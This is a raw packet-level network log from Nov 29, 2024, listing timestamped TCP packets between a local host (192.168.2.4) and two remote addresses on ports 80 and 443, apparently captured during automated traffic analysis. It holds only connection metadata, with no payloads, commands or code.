Nov 29, 2024 20:07:56.997662067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.997693062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.998331070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.998565912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.998653889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.998672962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.998910904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.999378920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.999521017 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.999552011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.999577999 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.000228882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.000329971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.001081944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.001110077 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.001199007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.001250982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.001306057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.001976013 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.002057076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.002059937 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.002161026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.002821922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.002890110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.002918959 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.003142118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.003710032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.003771067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.004491091 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.004522085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.004657030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.004822969 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.005464077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.005537033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.005569935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.005691051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.006299973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.006375074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.006407976 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.006588936 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.007102966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.007210016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.008003950 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.008033991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.008101940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.008133888 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.008249044 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.008820057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.008939028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.009076118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.009799004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.009902000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.009931087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.010001898 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.010653019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.010761023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.010763884 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.010833025 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.011468887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.011560917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.012295961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.012330055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.012476921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.012505054 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.012634993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.013181925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.013273001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.013297081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.013474941 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.014019966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.014117002 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.014147043 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.014250994 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.014863014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.014930964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.014949083 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.015125990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.015777111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.015953064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.016375065 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.016619921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.016699076 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.017442942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.017471075 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.017559052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.017746925 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.018347025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.018410921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.018433094 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.018560886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.019164085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.019309044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.019423008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.020023108 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.020096064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.020184040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.020273924 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.020884037 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.020986080 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.020994902 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.021059990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.021744013 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.021847010 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.021864891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.021924019 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.022598028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.022706032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.022736073 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.022859097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.023484945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.023591042 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.023653030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.023653030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.024374962 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.024527073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.024540901 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.024617910 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.025187016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.025290966 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.025299072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.025618076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.026045084 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.026199102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.026329994 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.026539087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.026921034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.026967049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.026998043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.027112961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.027821064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.027937889 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.027946949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.028016090 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.028641939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.028717041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.028719902 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.028779030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.162533998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.162545919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.162632942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.162833929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.162906885 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.162985086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.163094997 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.163734913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.163811922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.163811922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.163875103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.164583921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.168531895 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.197421074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.197510004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.197927952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.198004961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.198822021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.198853016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.198955059 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.199608088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.199620008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.199975967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.200442076 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.200499058 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.200527906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.201392889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.201423883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.201503992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.201634884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.202195883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.202392101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.202529907 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.203078032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.203115940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.203350067 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.203929901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.204010963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.204049110 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.204770088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.204849005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.204933882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.205039024 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.205847979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.205966949 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.206130028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.206449986 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.206583023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.206659079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.206666946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.206737041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.207340002 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.207463980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.207488060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.207690001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.208355904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.208585024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.208617926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.209160089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.209237099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.209274054 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.209382057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.209961891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.210056067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.210879087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.210994005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.211025953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.211643934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.211749077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.212363005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.212521076 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.212584019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.213404894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.213490963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.213521004 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.214252949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.214349985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.215114117 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.215141058 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.215265989 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.216007948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.216089964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.216118097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.216845989 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.216875076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.217000008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.217675924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.217806101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.217837095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.218539953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.218686104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.219430923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.219460964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.219542027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.220284939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.220415115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.220443964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.221142054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.221266031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.221986055 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.222014904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.222044945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.222886086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.222923040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.222937107 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.223717928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.223774910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.223799944 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.224656105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.224754095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.225406885 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.225435019 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.225501060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.226315975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.226453066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.226481915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.227200031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.227451086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.228032112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.228060961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.228230953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.228880882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.228993893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.229022026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.229798079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.230019093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.230343103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.230639935 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.230824947 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.231509924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.231570959 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.231602907 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.232362032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.232601881 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.233167887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.233195066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.233357906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.234129906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.234296083 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.234328985 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.234941006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.234968901 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.235131979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.235874891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.235989094 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.236080885 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.236510992 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.236728907 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.236804008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.236855030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.236855030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.237541914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.237683058 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.237799883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.238353968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.238562107 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.238996029 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.239217997 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.239286900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.239325047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.239471912 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.261415958 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.263499022 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.263499022 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.263511896 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.263719082 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.265463114 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.265463114 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.265496016 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.266463041 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.266495943 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.266630888 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.266665936 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.268286943 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.268323898 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.268520117 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.268549919 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.268716097 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.268743992 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.268754959 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.268763065 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.269119024 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.269146919 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.269165993 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.269568920 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.269597054 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.311362982 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.312822104 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.312851906 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.312870979 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.312880039 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.312896013 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.312907934 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.312969923 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:57.312983036 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:57.372735977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.372859001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.372966051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.373138905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.373219967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.373226881 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:57.373281956 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:57.373997927 CET	80	50083	185.215.113.16	192.168.2.4
